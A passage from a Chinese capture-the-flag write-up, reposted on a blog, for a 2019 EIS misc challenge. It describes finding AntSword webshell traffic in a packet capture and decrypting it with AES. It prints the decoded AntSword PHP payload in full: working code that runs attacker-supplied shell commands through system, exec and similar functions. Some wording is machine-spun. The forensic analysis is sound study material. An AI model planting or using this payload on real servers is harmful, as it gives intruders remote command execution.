strlen($cipher) - 10);echo decrypt($cipher); 5、再base64解密一哈
第一种思路:
1、菜刀都是http协议,发的包都是POST包,所以在显示过滤器下命令:http.request.method==POST
2、右键,追踪tcp流,发明是蚁剑流量
3、先对http请求的后面那部分进行chr解码,这里是chr16模式,找一个脚本
在线美化后,得到php代码的内容:
<?php @ini_set("display_errors", "0"); @set_time_limit(0); function asenc($out) { @session_start(); $key='f5045b05abe6ec9b1e37fafa851f5de9'; return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA)); } ; ; function asoutput() { $output=ob_get_contents(); ob_end_clean(); echo "0897d"; echo @asenc($output); echo "60c97"; } ob_start(); try { $p=base64_decode($_POST["0xc461e86196f1a"]); $s=base64_decode($_POST["0x9ec3fa98a283f"]); $d=dirname($_SERVER["SCRIPT_FILENAME"]); $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\""; $r="{$p} {$c}"; function fe($f) { $d=explode(",",@ini_get("disable_functions")); if(empty($d)) { $d=array(); } else { $d=array_map('trim',array_map('strtolower',$d)); } return(function_exists($f)&&is_callable($f)&&!in_array($f,$d)); } ; function runcmd($c) { $ret=0; if(fe('system')) { @system($c,$ret); } elseif(fe('passthru')) { @passthru($c,$ret); } elseif(fe('shell_exec')) { print(@shell_exec($c)); } elseif(fe('exec')) { @exec($c,$o,$ret); print(join(" ",$o)); } elseif(fe('popen')) { [email protected]($c,'r'); while([email protected]($fp)) { print(@fgets($fp, 2048)); } @pclose($fp); } elseif(fe('antsystem')) { @antsystem($c); } else { $ret = 127; } return $ret; } ; [email protected]($r." 2>&1"); print ($ret!=0)?"ret={$ret}":""; ; } catch(Exception $e) { echo "ERROR://".$e->getMessage(); } ; asoutput(); die();在第4行读到key,必定要找密文了,在第6行读到涉及到AES128加密
4、追踪http流,用脚本AES解密最后一个包(三个都解了一下,发明最后一个能解出base64)
5、再base64解密一哈
第二种思路:
文件->导出东西->http,save all,13kb巨细的是chr解密,解出的php代码有AES的key,,也提示了AES,2kb巨细的是aes的密文。
2019 EIS高校安适运维赛 misc webshell
温馨提示: 本文由Jm博客推荐,转载请保留链接: https://www.jmwww.net/file/web/30622.html